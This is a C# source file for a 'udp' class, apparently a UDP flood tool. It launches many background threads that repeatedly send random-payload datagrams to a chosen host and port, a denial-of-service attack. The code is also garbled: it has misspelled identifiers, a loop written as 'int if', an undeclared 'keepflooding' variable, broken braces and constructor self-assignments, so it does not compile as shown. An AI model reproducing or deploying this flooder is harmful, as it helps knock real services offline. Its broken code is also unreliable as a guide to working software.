using System;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;

  public class udp
    {
      private string hst;
      private int prt;
      private int size;
      private int sckts;
      private int ndout;
      public bool currentflooding = false;
      private Thread[] floodthreads;
      public udp(string hst, int prt,int size, int sockets,int ndout)
      {
          hst = hst;
          prt = prt;
          size = size;
          ndout = ndout;
          sockets = sockets;
    }
      public void floodstart();
      currentflooding = true;
      Thread t = new Thread (Rstart);
      t.start();
}
private void Rstart()
{
floodthreads = new thread[sockets];
for (int if = 0; i <= sockets - 1; i  )
{
floodthreads[i] = new thread(floodvoid);
floodthreads[i].isbackground = true;
floodthreads[i].start();
}
}
public void floodstop()
{
currentflooding = false;
}
public void floodvoid()
{
do
{
try
{
IPEndPoint end = new IPEndPoint(IPAddress.Parse(hst), prt);
Socket sck = new sockets(end.addressFamily, sockettype.Dgram, protocoltype.Udp);
sck.sendto(Encoduing.ASCII.GetBytes(random()), end);
thread.sleep(ndout);
}
catch
}
thread.sleep(ndout);
}
}while (keepflooding == true);
}
private const string chars = "hweuie4fief84thi4rdvni4y84tnifyni34y84ry8f3bf"
private string random()
{
string done = null;
system.random r =new random();
for(int i = 0; i <=size -1; i  )
{
done = chars[r.next(0, chars.lenght - 1)];
}
return done;
}
}